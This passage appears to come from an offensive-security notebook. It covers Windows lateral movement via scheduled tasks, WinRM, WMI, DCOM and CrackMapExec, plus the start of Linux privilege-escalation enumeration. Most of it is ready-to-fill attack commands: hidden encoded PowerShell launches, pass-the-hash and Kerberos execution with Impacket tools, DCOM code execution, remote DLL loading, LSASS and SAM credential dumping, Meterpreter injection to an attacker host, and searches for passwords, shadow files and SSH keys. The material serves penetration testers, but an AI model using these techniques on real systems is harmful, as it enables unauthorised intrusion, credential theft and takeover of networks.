powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc <ENCODED_BASE64_CMD>
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -Enc <ENCODED_BASE64_CMD>

# Create a scheduled task to run PowerShell code for example
schtasks /create /tn "<TASK_NAME>" /tr "<TASK_COMMAND>" /sc once /sd <MM/DD/YYYY> /st <HH:MM:SS> /V1 /Z /RU "NT AUTHORITY\SYSTEM" /S <IP | HOSTNAME>

# The creation and status of the scheduled task can be validated
schtasks /query /tn "<TASK_NAME>" /S <IP | HOSTNAME>
schtasks /run /tn "<TASK_NAME>" /S <IP | HOSTNAME>
schtasks /delete /tn "<TASK_NAME>" /S <IP | HOSTNAME>

# By default, atexec execute "cmd /C <COMMAND>"
# NTLM authentication
atexec.py [-target-ip <TARGET_IP>] [<DOMAIN>/]<USERNAME>[:<PASSWORD>]@<HOSTNAME | IP> <TASK_COMMAND>
atexec.py -hashes <LM_HASH:NT_HASH> [-target-ip <TARGET_IP>] [[<DOMAIN>/]<USERNAME>@<HOSTNAME | IP> <TASK_COMMAND>

# Kerberos authentication
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
atexec.py -k -no-pass -dc-ip <DC_IP> <HOSTNAME> "<COMMAND | TASK_COMMAND>"
```


# Over WinRM

*PowerShell's WinRM remoting*

`Windows Remote Management (WinRM)` is the Microsoft implementation of WS-Management Protocol, a standard Simple Object Access Protocol (`SOAP`)-based, protocol that allows hardware and operating systems, from different vendors, to interoperate. By default, `WinRM` uses the `TCP` ports 5985 and 5986 for connections, respectively over `HTTP` and `HTTPS`. For more information about `WinRM` itself, refer to the `L7 - 5985-5986 WSMan` note.

Multiples cmdlets are incorporated into the PowerShell core to execute commands remotely through `WinRM`, also known as `PowerShell Remoting`. Through `PowerShell Remoting`, unitary commands can be executed or full PowerShell sessions can be established.

Members of the Windows built-in `Administrators` and `Remote Management Users` groups are allowed, by default, to access a remote machine through `WinRM`:

```
(Get-PSSessionConfiguration -Name Microsoft.PowerShell).Permission
  NT AUTHORITY\INTERACTIVE AccessAllowed, BUILTIN\Administrators AccessAllowed, BUILTIN\Remote Management Users AccessAllowed
```

Refer to the `[L7] 5985-5986 WSMan` note for the listing of the different authentication mechanisms supported by `WinRM`.

`PowerShell Remoting` can be conducted through `HTTP` / `HTTPS` proxies, if necessary. The proxy settings can be specified through the `Internet Options` graphical utility and set as the system-wide `Microsoft Windows HTTP Services (WinHTTP)` proxy using `netsh`.

```
Control Panel -> Internet Options -> Connections -> LAN settings
  "Use a proxy server for your LAN [...]" checked
  (Optional) "Bypass proxy server for local addresses" checked
  Advanced -> (For WinRM over HTTP, port TCP 5985) HTTP: <127.0.0.1 | HTTP_PROXY_IP> <HTTP_PROXY_PORT>
           -> (For WinRM over HTTPS, port TCP 5986) Secure: <127.0.0.1 | HTTPS_PROXY_IP> <HTTPS_PROXY_PORT>

netsh winhttp import proxy source=ie

# Lists the configured proxies.
netsh winhttp dump
  [...]
  set proxy proxy-server="http=<HTTP_PROXY_IP>:<HTTP_PROXY_PORT>;https=<HTTPS_PROXY_IP>:<HTTPS_PROXY_PORT>" bypass-list="<local>"

# Restore the WinHTTP default proxy settings (no proxies).
netsh winhttp reset proxy
```

The `Invoke-Command`, `Enter-PSSession`, and `New-PSSession` PowerShell cmdlets can be used to execute commands on a remote host through `WinRM`:

```bash
# PowerShell built-in cmdlets.

$user = '<DOMAIN | WORKGROUP>\<USERNAME>';
$pass = '<PASSWORD>';
$spass = ConvertTo-SecureString -AsPlainText $pass -Force;
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList $user,$spass;

# Executes a PowerShell single command.
Invoke-Command -ComputerName <HOSTNAME | IP> -Credential $creds -ScriptBlock { <POWERSHELL> };

# Enters an interactive PowerShell session.
Enter-PSSession -ComputerName <HOSTNAME | IP> -Credential $creds

# Creates an interactive PowerShell session that can be used to execute further commands, transfer files, or enter an interactive session.
$s = New-PSSession [-Credential <PSCredential>] -ComputerName <HOSTNAME | IP>
Invoke-Command -Session $s -ScriptBlock { <POWERSHELL> }
Enter-PSSession -Session $s
Copy-Item -FromSession $s -Destination "<LOCAL_PATH>" "<REMOTE_FILE_PATH>"
Copy-Item -ToSession $s -Destination "<REMOTE_PATH>" "<LOCAL_FILE_PATH>"
Remove-PSSession -Session $s

# winrs utility.

# WinRM over HTTP 5985.
winrs /noprofile -r:<HOSTNAME | IP> -u:<DOMAIN | WORKGROUP>\<USERNAME> -p:<PASSWORD> C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -Enc <BASE64_ENCODED_POWERSHELL>

# WinRM over HTTPS 5986.
winrs /noprofile /usessl -r:<HOSTNAME | IP> -u:<DOMAIN | WORKGROUP>\<USERNAME> -p:<PASSWORD> C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -Enc <BASE64_ENCODED_POWERSHELL>
```

To solve the "double hop" authentication problem, which occurs whenever trying to access resources on a third server from the first remotely connected server, the `CredSSP` authentication mechanism can be used. Simply put, the problem happens because credentials are not allowed for delegation and thus can't be passed whenever accessing network resources from the remotely connected system. All access ends up being unauthenticated and results in `Access denied` errors.

Supports for `CredSSP` must be activated and configured on the client attacking system. The configuration below allows delegation to any system.

```
winrm quickconfig
Set-Item WSMan:localhost\client\trustedhosts -value *
Enable-WSManCredSSP -Role "Client" -DelegateComputer "*"

Start gpedit.msc
-> "Local Computer Policy" -> "Computer Configuration" -> "Administrative Templates" -> "System" -> "Credential Delegation"
-> In the "Settings" pane, "Allow Delegating Fresh Credentials with NTLM-only Server Authentication". -> "Enabled"
-> And in the "Options" area, "Show" -> "Value" = WSMAN/*
-> "Concatenate OS defaults with input above" checked
```

Once `CredSSP` is activated and correctly configured, the PowerShell cmdlets `Invoke-Command` and `Enter-PSSession` can be used with the `-Authentication CredSSP` option to make connections using `CredSSP`.

*WinRM remoting from Linux*

The following `ruby` script can be used to start a PowerShell session on a distant Windows system through a `WinRM` service:

```ruby
require 'winrm'

# Author: Alamot

conn = WinRM::Connection.new(
  endpoint: 'http://<IP>:<PORT/wsman',
  transport: :ssl,
  user: '<USERNAME>',
  password: '<PASSWORD>',
  :no_ssl_peer_verification => true
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
        print(output.output.chomp)
        command = gets
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end
    puts "Exiting with code #{output.exitcode}"
end
```

Note that the script does not support `CredSSP` authentication and is thus prone to the "double hop" authentication problem.

The `evil-winrm` `ruby` extend the code above with a number of functionality, such as command history and completion, upload and download of files, loading of in memory of `PowerShell` scripts, dll or `C#` binary, etc.

```
evil-winrm -u <USERNAME> -p '<PASSWORD>' -i <HOSTNAME | IP> -s <LOCAL_PATH_PS_SCRIPTS> -e <LOCAL_PATH_EXE_SCRIPTS>
```

Supported commands:

| Command                                 | Description                                                                                                                                                                                                                              |
| --------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| download \<REMOTE\_PATH> \<LOCAL\_PATH> | Download remote file. LOCAL\_PATH is not required                                                                                                                                                                                        |
| upload \<LOCAL\_PATH> \<REMOTE\_PATH>   | Download remote file.                                                                                                                                                                                                                    |
| services                                | List Windows services and the associated binaries paths                                                                                                                                                                                  |
| \<PS\_NAME.ps1>                         | <p>Load the specified PowerShell script in memory. The PowerShell script must be in the path set at -s argument <strong>when the evil-winrm shell was started.</strong><br><code>menu</code> can be used to list the loaded cmdlets.</p> |
| Invoke-Binary \<LOCAL\_BINARY\_PATH>    | Load the specified binary, compiled from `C#`, to be executed in memory. Accepts up to 3 arguments                                                                                                                                       |
| l04d3r-LoadDll                          | Load dll libraries in memory, equivalent to: `[Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))`                                                                                                                           |

```
l04d3r-LoadDll -smb -path \\<HOSTNAME | IP>\\<SHARE>\\<DLL>
l04d3r-LoadDll -local -path <LOCAL_DLL_PATH>
l04d3r-LoadDll -http -path http://<URL>/<DLL>
```


# Over WMI

The `Windows Management Instrumentation (WMI)` is a Microsoft suite of tools used to retrieve management data and manage Windows assets both locally and over the network.

`WMI` rely on two protocols when used over the network: `DCOM` (by default) and `WinRM`. DCOM establishes an initial connection over TCP port 135 and any subsequent data is then exchanged over a randomly selected TCP port.

`WMI` is divided in a collection of predefined classes. The `Win32_Process` class can be used to start a process and the `Win32_Product` class can be used to install an MSI installer package, both locally and remotely.

```
# <COMMAND> example: <cmd.exe | powershell.exe | cmd.exe /c '<COMMAND> <COMMAND_ARGS>' | %ComSpec% /c '<COMMAND> <COMMAND_ARGS>' | powershell.exe -NoP -NonI -W Hidden -Exec Bypass -C '<COMMAND> <COMMAND_ARGS>' | powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc <ENCODED_BASE64_CMD> | ...>

wmic /node:"<IP | HOSTNAME>" process call create "<COMMAND>"
wmic /node:"<HOST1>","<HOST2>",...,"<HOST_N>" process call create "<COMMAND>"
# Takes in input a list of hosts in the given file.
wmic /failfast:on /node:@<FILE> process call create "<COMMAND>"
wmic /user:"<DOMAIN | WORKGROUP>\<USERNAME>" /password:"<PASSWORD>" /node:<IP | HOSTNAME> process call create "<COMMAND>"

Invoke-WmiMethod -Class Win32_Process -Name Create "<COMMAND>"
Invoke-WmiMethod -ComputerName <IP | HOSTNAME> -Credential <PSCredential> -Class Win32_Process -Name Create "<COMMAND>"
```

The `Invoke-WMIExec` PowerShell cmdlet and `Impacket`'s `wmiexec.py` can be used to pass the hash over `WMI`. `wmiexec.py` additionally supports authentication through the Kerberos protocol.

```
Invoke-WMIExec -Target <HOSTNAME | IP> -Domain <DOMAIN> -Username <USERNAME> -Hash <NTLMHASH> -Command "<CMD>" -verbose

# NTLM authentication
wmiexec.py [-target-ip <TARGET_IP>] [-port [<PORT>]] [<DOMAIN>/]<USERNAME>[:<PASSWORD>]@<HOSTNAME | IP> [<COMMAND> <COMMAND_ARGS>]
wmiexec.py -hashes <LM_HASH:NT_HASH> [-target-ip <TARGET_IP>] [-port [<PORT>]] [[<DOMAIN>/]<USERNAME>@<HOSTNAME | IP> [<COMMAND> <COMMAND_ARGS>]

# Kerberos authentication
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
wmiexec.py [-service-name <SERVICE_NAME>] -k -no-pass -dc-ip <DC_IP> <HOSTNAME> [<COMMAND> <COMMAND_ARGS>]
```


# Over DCOM

`Component Object Model (COM)` is a Microsoft standard for inter-process communication. `COM` specifies an object model and programming requirements that enable `COM objects` (also called `COM components`) to interact with one another. A `COM object` defines one, or more, sets of functions (`methods`), called `interfaces`, that are the only way to manipulate the data associated with the object. A `COM server` object provides services to `COM clients` through its implemented `methods`, called by the clients after retrieving a pointer to the `COM server` object interface.

The proprietary Microsoft `Distributed Component Object Model (DCOM)` technology allows for networked communication of `COM objects` over the `Microsoft Remote Procedure Call (MSRPC)` protocol, with a first connection initiated on the remote system port TCP 135.

The `COM` / `DCOM` object register a few notable identifiers:

* The `Class Identifier (CLSID)`, a `GUID` acting as a unique identifier for every `COM class` registered in Windows. The `CLSID key` in the registry points to the implementation of the class.
* The optional `Programmatic Identifier (ProgID)`, that can supplement a `COM class` `CLSID` with a more human-readable name. Not every `COM class` is associated with a `ProgID`.
* The `Application Identifier (AppID)`, which groups the configuration for one, or more, `DCOM objects` hosted by the same executable into one centralized location in the registry (`HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ AppID\{<APPID>}`).

The configuration defined in `AppID` notably specify, the form of `Access Control List (ACL)`, the following permissions:

* `Launch Permissions`, that restrict the security principals that can locally or remotely start the `DCOM object` server
* `Access Permissions`, that restrict the security principals that can locally or remotely access the `DCOM object` methods
* `Configuration Permissions`, that restrict the security principals that can modify the configuration of the `DCOM` objects.

System-wide limits are defined and control the minimal level of restrictions `DCOM applications` can set. By default, `Everyone` and non authenticated users (`ANONYMOUS LOGON`) may be granted local or remote access to `DCOM object` methods while only members of the local `Administrators`, `Distributed COM Users`, and `Performance Log Users` may be granted remote `launch` and `activation` rights.

If the `Access Permissions` is left unspecified in the `AppID` configuration, the system-wide `Access Permissions` and `Launch Permissions` are applied. By default, the `Remote Access` right is only granted to the Windows local built-in `Administrators` group. The `AppID` registered on a system can be browsed and edited using the `dcomcnfg.exe` Windows built-in utility or, the dedicated `OleViewDotNet` .NET utility.

A client request the instantiation of a remote `DCOM` object class by specifying its `CLSID` or `ProgID`, the later being resolved to the associated `CLSID`. The `DCOMLaunch` service (`C:\Windows\system32\svchost.exe -k DcomLaunch`, for `DCOM objects` from an `exe` binary) or `DLLHOST.exe` (for `DCOM objects` from a `DLL`) then instantiate the requested `DCOM` object class, on condition that the client has the necessary access permissions (as defined in the `APPID` configuration). The error code `80070005` (for `E_ACCESSDENIED`) will be returned otherwise.

#### CLSID enumeration

PowerShell can be used to list the `CLSID` and `ProdID` properties of the `DCOM objects` registered on the local computer `HKEY_CLASSES_ROOT` registry hive. The `HKEY_CLASSES_ROOT` registry hive cannot be directly accessed on a remote computer using `Get-ChildItem`. In order to remotely access the `HKEY_CLASSES_ROOT` registry hive, the following PowerShell commands can be run over `WinRM` using the `Invoke-Command` PowerShell cmdlet.

```
# Lists
Get-ChildItem REGISTRY::HKEY_CLASSES_ROOT\CLSID | ForEach-Object {

  $DCOMClass = New-Object PSObject -Property @{
    CLSID = $_.Name.Split("{")[1].Split("}")[0]
  }

  If ($_.GetSubKeyNames() -match "ProgID") {
    $DCOMClass | Add-Member -Type NoteProperty -Name "ProgID" -Value $_.OpenSubKey("ProgID").GetValue("")
  }

  Else {
    $DCOMClass | Add-Member -Type NoteProperty -Name "ProgID" -Value $null
  }

  return $DCOMClass
}

# Filters by ProgID
Get-ChildItem REGISTRY::HKEY_CLASSES_ROOT\CLSID -Recurse -Include 'ProgID' | ForEach-Object { If ($_.GetValue("") -match "<PROGID>") { return $_.Name,$_.GetValue("") }}

# Filter by CLSID
Get-ChildItem REGISTRY::HKEY_CLASSES_ROOT\CLSID -Recurse | ForEach-Object { If ($_.Name -match "<CLSID>") { return $_.Name,$_.GetValue("") }}
```

#### Code execution over DCOM

Multiple `DCOM objects` classes can be leveraged to execute commands on the remote system. The idea of using `DCOM objects` for lateral movements having come to light recently, in January 2017 after a publication by `enigma0x3`, the below list, mostly gathered from `https://www.cybereason.com/blog/dcom-lateral-movement-techniques`, is possibly far from being exhaustive.

PowerShell and `Impacket`'s `dcomexec.py` Python script can be used to execute commands through `DCOM` objects:

```
# PowerShell
# MMC20.Application
# Blocked by the default Windows firewall rules
# Starts a child process under Microsoft Management Console (mmc.exe)
$dcom = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","<IP>"))
$dcom.Document.ActiveView.ExecuteShellCommand("<C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | BINARY>", $null, <$null | "COMMAND_ARGS">, "7")

# ShellWindows
# Blocked by the default Windows firewall rules
# Requires a File Explorer or Internet Explorer process on the remote system
$dcom = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39", "<IP¨>"))
$dcom[0].Document.Application.ShellExecute("<BINARY>")
$dcom[0].Document.Application.ShellExecute("<BINARY>", "<COMMAND_ARGS>", "<EXEC_DIRECTORY>", $null, 0)

# ShellBrowserWindow
# Blocked by the default Windows firewall rules
# DOES NOT require a File Explorer or Internet Explorer process on the remote system
# Only available on
$dcom = [activator]::CreateInstance([type]::GetTypeFromCLSID("c08afd90-f2a1-11d1-8455-00a0c91f3880", "<IP¨>"))
$dcom.Document.Application.ShellExecute("<BINARY>")
$dcom.Document.Application.ShellExecute("<BINARY>", "<COMMAND_ARGS>", "<EXEC_DIRECTORY>", $null, 0)

# Outlook through Shell.Application
# Blocked by the default Windows firewall rules?
# Requires Outlook to be installed on the remote system
$dcom = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application", "<IP¨>"))
$dcom_shell = $dcom.CreateObject("Shell.Application")
$dcom_shell.ShellExecute("<BINARY>")
$dcom_shell.ShellExecute("<BINARY>", "<COMMAND_ARGS>", "<EXEC_DIRECTORY>", $null, 0)

# Excel.Application DDE
# Blocked by the default Windows firewall rules?
# Requires Excel to be installed on the remote system
# The name of the specified binary is limited to 8 characters maximum, so a binary present in the %PATH%, such as powershell.exe or cmd.exe, must be used
$dcom = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","<IP>"))
$dcom.DisplayAlert = $False
$dcom.DDEInitiate("<BINARY>","<COMMAND_ARGS>")

# Python
# dcomexec.py executes by default a semi-interactive shell using the ShellBrowserWindow DCOM oject.
# NTLM authentication
dcomexec.py -debug [-object <MMC20 | ShellWindows | ShellBrowserWindow>] [-target-ip <TARGET_IP>] [<DOMAIN>/]<USERNAME>[:<PASSWORD>]@<HOSTNAME | IP> <TASK_COMMAND>
dcomexec.py -debug [-object <MMC20 | ShellWindows | ShellBrowserWindow>] -hashes <LM_HASH:NT_HASH> [-target-ip <TARGET_IP>] [[<DOMAIN>/]<USERNAME>@<HOSTNAME | IP> <TASK_COMMAND>

# Kerberos authentication
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
dcomexec.py -debug [-object <MMC20 | ShellWindows | ShellBrowserWindow>] -k -no-pass -dc-ip <DC_IP> <HOSTNAME> "<COMMAND | TASK_COMMAND>"

# More Microsoft Office DCOM objects can be leveraged for lateral movements, as described in the provided source above
```


# CrackMapExec

`CrackMapExec` is a "Swiss army knife for pentesting Windows / Active Directory environments" that wraps around multiples `Impacket` modules.

`CrackMapExec` can be used to test credentials and execute commands through `SMB`, `WinRM`, `MSSQL`, `SSH`, `HTTP` services.

Over `SMB`, `CrackMapExec` supports different command execution methods:

* (Default) `wmiexec` executes commands via `WMI`
* `smbexec` executes commands by creating and running a service, similarly to the `PsExec` utility
* `atexec` executes commands by remotely scheduling a task with through the Windows task scheduler
* `mmcexec` executes commands over the `MMC20.Application` `DCOM` object

`CrackMapExec` additionally supports authentication with `Kerberos` tickets (specified in the `KRB5CCNAME` environment variable) on Linux operating systems.

### CrackMapExec installation

`CrackMapExec` requires various Python dependencies (sometimes in specific version), making its installation somewhat challenging at times.

`CrackMapExec` pre-compiled binaries for Linux and Windows (that still require `Python3` to be installed on the system) can be downloaded on the [CrackMapExec's GitHub repository's "Actions"](https://github.com/byt3bl33d3r/CrackMapExec/actions). Fully standalone binaries for Linux and Windows can be retrieved in the [OffensivePythonPipeline](https://github.com/Qazeer/OffensivePythonPipeline).

For more information on `CrackMapExec`'s installation refer to the [official documentation](https://mpgn.gitbook.io/crackmapexec/getting-started/installation).

```bash
# As of March 2021, the crackmapexec package of the Kali Linux distribution is up to date and can be used to easily install CrackMapExec.
apt install crackmapexec

# Installation using Docker.
docker pull byt3bl33d3r/crackmapexec
docker run byt3bl33d3r/crackmapexec:latest [...]
```

### CrackMapExec usage

```bash
# As of December 2018, crackmapexec does not provides an option to output to a file.
# The tee utility can be used to both display and store to a file the crackmapexec standard output.
# crackmapexec <[...]> | tee <OUTPUT_FILE>

# <TARGET | TARGETS> - can be IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containing a list of targets.
crackmapexec <smb | winrm | ssh | mssql | http> <TARGET | TARGETS> [-M <MODULE> [-o <MODULE_OPTION>]] (-d <DOMAIN> | --local-auth) -u <USERNAME | USERNAMES_FILE> (-p <PASSWORD | PASSWORDS_FILE> | -H <HASH>) [--sam] [-x <COMMAND> | -X <PS_COMMAND>]

# Kerberos authentication on Linux systems. The targets must be fully qualified hostnames (and not IP addresses) for the Kerberos authentication to work.
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
crackmapexec smb <TARGET | TARGETS> --kerberos [...]
```

Additionally, `CrackMapExec` includes multiples modules that can be used for post-exploitation:

```
crackmapexec smb --list-modules

[*] Get-ComputerDetails       Enumerates sysinfo
[*] bh_owned                  Set pwned computer as owned in Bloodhound
[*] bloodhound                Executes the BloodHound recon script on the target and retreives the results to the attackers' machine
[*] empire_exec               Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
[*] enum_avproducts           Gathers information on all endpoint protection solutions installed on the the remote host(s) via WMI
[*] enum_chrome               Decrypts saved Chrome passwords using Get-ChromeDump
[*] enum_dns                  Uses WMI to dump DNS from an AD DNS Server
[*] get_keystrokes            Logs keys pressed, time and the active window
[*] get_netdomaincontroller   Enumerates all domain controllers
[*] get_netrdpsession         Enumerates all active RDP sessions
[*] get_timedscreenshot       Takes screenshots at a regular interval
[*] gpp_autologin             Searches the domain controller for registry.xml to find autologon information and returns the username and password.
[*] gpp_password              Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
[*] invoke_sessiongopher      Digs up saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher
[*] invoke_vnc                Injects a VNC client in memory
[*] lsassy                    Dump lsass and parse the result remotely with lsassy
[*] met_inject                Downloads the Meterpreter stager and injects it into memory
[*] mimikatz                  Dumps all logon credentials from memory
[*] mimikatz_enum_chrome      Decrypts saved Chrome passwords using Mimikatz
[*] mimikatz_enum_vault_creds Decrypts saved credentials in Windows Vault/Credential Manager
[*] mimikittenz               Executes Mimikittenz
[*] multirdp                  Patches terminal services in memory to allow multiple RDP users
[*] netripper                 Capture's credentials by using API hooking
[*] pe_inject                 Downloads the specified DLL/EXE and injects it into memory
[*] rdp                       Enables/Disables RDP
[*] rid_hijack                Executes the RID hijacking persistence hook.
[*] scuffy                    Creates and dumps an arbitrary .scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares
[*] shellcode_inject          Downloads the specified raw shellcode and injects it into memory
[*] slinky                    Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions
[*] spider_plus               List files on the target server (excluding `DIR` directories and `EXT` extensions) and save them to the `OUTPUT` directory if they are smaller then `SIZE`
[*] test_connection           Pings a host
[*] tokens                    Enumerates available tokens
[*] uac                       Checks UAC status
[*] wdigest                   Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1
[*] web_delivery              Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module
[*] wireless                  Get key of all wireless interfaces
```

### CrackMapExec modules

`CrackMapExec` notable modules usage:

```
# Authentication with a 1:1 mapping between the username and password / hashes files.
crackmapexec smb <DC_IP | TARGET> --continue-on-success --no-bruteforce -d '<DOMAIN>' -u <USERNAME_FILE> [-p <PASSWORD_FILE> | -H <HASH_FILE>

# SAM dump.
crackmapexec smb <TARGET | TARGETS> --sam (-d <DOMAIN> | --local-auth) -u <USERNAME> (-p <PASSWORD | PASSWORDS_FILE> | -H <HASH>)

# LSASS dump using lsassy.
crackmapexec smb <TARGET | TARGETS> -M lsassy (-d <DOMAIN> | --local-auth) -u <USERNAME> (-p <PASSWORD | PASSWORDS_FILE> | -H <HASH>)
# Outdated LSASS dump technique using mimikatz that is flagged by most antivirus products.
crackmapexec smb <TARGET | TARGETS> -M mimikatz (-d <DOMAIN> | --local-auth) -u <USERNAME> (-p <PASSWORD | PASSWORDS_FILE> | -H <HASH>)

# Meterpreter.
# msf > use multi/handler
# msf exploit(handler) > set payload windows/meterpreter/reverse_https
crackmapexec smb <TARGET | TARGETS> -M met_inject -o LHOST=<HOST> LPORT=<PORT> -d <DOMAIN> -u <USERNAME> (-p <PASSWORD | PASSWORDS_FILE> | -H <HASH>)
```

For more information on how to remotely extract credentials from the `SAM` registry hive and the `LSASS` process, refer to the `[Windows] Post exploitation` note.

Note that:

* The `--lsa` option dumps LSA secrets which can't be used in `Pass-the-Hash` attack and are harder to crack.
* The `<TARGET>` and `<MODULE>` should be specified before the credentials as a `CrackMapExec` bug could skip the targets / module otherwise.
* If the targeted host is unreachable, `CrackMapExec` may exit with out returning any error message.
* In case the metinject fails, a local administrator can be added for RDP access or a powershell reverse shell injected in memory instead (refer to the `[General] Shells - PowerShell` note).
* If a `permission denied` error is raised upon first execution of `crackmapexec` on a Linux system, necessary rights to create new files in the user's `HOME` folder may be missing. A temporary alternative `HOME` folder can be specified for `crackmapexec` execution: `HOME=<PATH> crackmapexec [...]`.


# Local privilege escalation

## Linux - Local Privilege Escalation

The following note assumes that a low privilege shell could be obtained on the target. Some privilege techniques detailed rely on a fully TTY shell.

To leverage a shell from a Remote Code Execution (RCE) vulnerability please refer to the `[General] Shells` note.

“The more you look, the more you see.” ― Pirsig, Robert M., Zen and the Art of Motorcycle Maintenance

#### Enumeration

**Basic enumeration**

| Description                             | Command                                                        |
| --------------------------------------- | -------------------------------------------------------------- |
| OS                                      | <p>cat /etc/\*-release<br>cat /etc/lsb-release</p>             |
| Kernel                                  | <p>uname -a<br>cat /proc/version<br>rpm -q kernel</p>          |
| Current user                            | <p>id<br>whoami</p>                                            |
| All users                               | cat /etc/passwd                                                |
| Current user sudo rights                | sudo -l                                                        |
| Sudo configuration – Privileged command | cat /etc/sudoers                                               |
| Super users                             | awk -F: '($3 == "0") {print}' /etc/passwd                      |
| Logged in users                         | <p>who -a<br>w<br>finger<br>pinky<br>users</p>                 |
| Logged in history from /var/log/lastlog | <p>lastlog<br>lastlog PIPE grep -v "Never"</p>                 |
| Users hashes – Privileged command       | <p>cat /etc/shadow<br>(AIX Linux) cat /etc/security/passwd</p> |

**Writable directories**

Being able to write files on the system is needed for scripting the enumeration process and exploiting kernel vulnerabilities.

The following directories are usually writable to all:

```bash
/dev/shm
/tmp
```

To find directories the current user can write into:

```bash
find / -perm -2 -type d 2>/dev/null
find / -type d \( -perm -g+w -or -perm -o+w \) -exec ls -lahd {} \; 2>/dev/null
```

**Enumeration scripts**

Most of the enumeration process detailed below can be automated using scripts. To upload the scripts on the target, please refer to the `[General] File transfer` note.

Personal preference:

1. `linux-smart-enumeration.sh` + `LinEnum.sh` + `linux-exploit-suggester.sh` (with kernel and packages checks, run off target)
2. `linux-exploit-suggester-2.pl` + `linux-soft-exploit-suggester`

*Recommended scripts*

The `LinEnum.sh` and `linux-smart-enumeration` are maintained scripts that enumerate the system configuration using more than 65 checks (OS & kernel information, home directories, sudo acces, SUID/GUID files, configuration files, etc.).

```bash
-t	Thorough tests (notably SUID/GUID files)
-r	Report name
[-k	Keyword to grep in enumerated configuration files]

LinEnum.sh -t -k 'pass' -r <PATH/FILENAME>

lse -l2
```

The `linux-exploit-suggester.sh` and `linux-exploit-suggester-2.pl` (evolution of `linux-exploit-suggester.pl`) are maintained scripts that check for publicly known vulnerabilities and exploits in the Linux kernel and installed packages of the target.

The `linux-exploit-suggester.sh` script require `Bash` to be in version 4.0 or higher. The script can be used off the targeted box, by gathering the OS, Kernel and installed packages versions.

```bash
(target box) $ uname -a
# Get packages list - Refer to the [General] File transfer note to transfer the file
[Debian / Ubuntu] (target box) $ dpkg -l > <PACKAGE_LIST>
[RedHat / CentOS  / Fedora ] (target box) $ rpm -qa > <PACKAGE_LIST>

linux-exploit-suggester.sh --full --uname "<UNAME>" --pkglist-file <DPKGOUT_FILE>
```

Or directly on the targeted box:

```bash
linux-exploit-suggester.sh --full

linux-exploit-suggester.pl
```

The `linux-soft-exploit-suggester` finds exploits for vulnerable packages in a Linux system. It focuses on software packages instead of Kernel vulnerabilities. It uses the `exploit-db` database to evaluate the security of packages and search for exploits, so an export of available exploits must be provided to the script:

```bash
# Generate the exploit-db CSV list locally
python linux-soft-exploit-suggester.py --update

# Get packages list - Refer to the [General] File transfer note to transfer the file
[Debian / Ubuntu] (target box) $ dpkg -l > <PACKAGE_LIST>
[RedHat / CentOS / Fedora ] (target box) $ rpm -qa > <PACKAGE_LIST>

python linux-soft-exploit-suggester.py --file <PACKAGE_LIST> --db files_exploits.csv
```

*Worth mentioning scripts*

The `BeRoot.py` script enumerates common misconfigurations, with a bit more advanced checks (GTFOBins, NFS Root Squashing, etc.) details than `LinEnum.sh`. It additionally, embeds `linux-exploit-suggester` to give an overview of potential CVE that affect the kernel.

However, `BeRoot.py` requires `Python` to be installed on the target and is not practical to use.

*Outdated scripts*

The `Linuxprivchecker.py` script enumerates the system configuration and runs privilege escalation checks to recommend kernel privilege escalation exploits. **The linux-exploit-suggester.py is not maintained anymore.**

```bash
python Linuxprivchecker.py
```

#### File systems

**Mounted partitions and drives**

The following commands can be used to display all mounted file systems:

```bash
# Human readable
df -aTh

# Both equivalent, provides the mount options of the file systems
mount
cat /proc/mounts
```

**Clear text passwords in files**

Search for clear text passwords stored in files. Use the keyword 'password' first and broaden the search if needed by searching for 'pass':

```bash
# Restrict the search to configuration files
find / -name "*.conf" -print0 | xargs -0 grep -Hi "password"
find / -name "*.conf" -print0 | xargs -0 grep -Hi "pass"

# All files
find / -type f -print0 | xargs -0 grep -Hi "pass"
find / -type f -print0 | xargs -0 grep -Hi "password"

# PHP MySQL connect for Linux Apache MySQL PHP (LAMP) server
find / -type f -name "*.php" -print0 | xargs -0 grep -Hi "mysql_connect"
```

**Users home directories content**

The users home directories may contain sensible information such as config files or history files. The following commands can be used to display the content of the users home directories:

```bash
# Home
ls -lahR /root
ls -lahR /home
find /home -type f -printf "%f\t%p\t%u\t%g\t%m\n" 2>/dev/null | column -t
tree -pugfai /home

# Histories
find /home -name "*history*" -print -exec cat {} 2>/dev/null \;
cat ~/.bash_history
cat ~/.sh_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
```

**SSH private-keys and configurations**

```bash
# id_rsa, id_dsa, authorized_keys, etc.
ls -lah ~/.ssh/
find /home -name "*id_rsa*" -print -exec cat {} 2>/dev/null \;
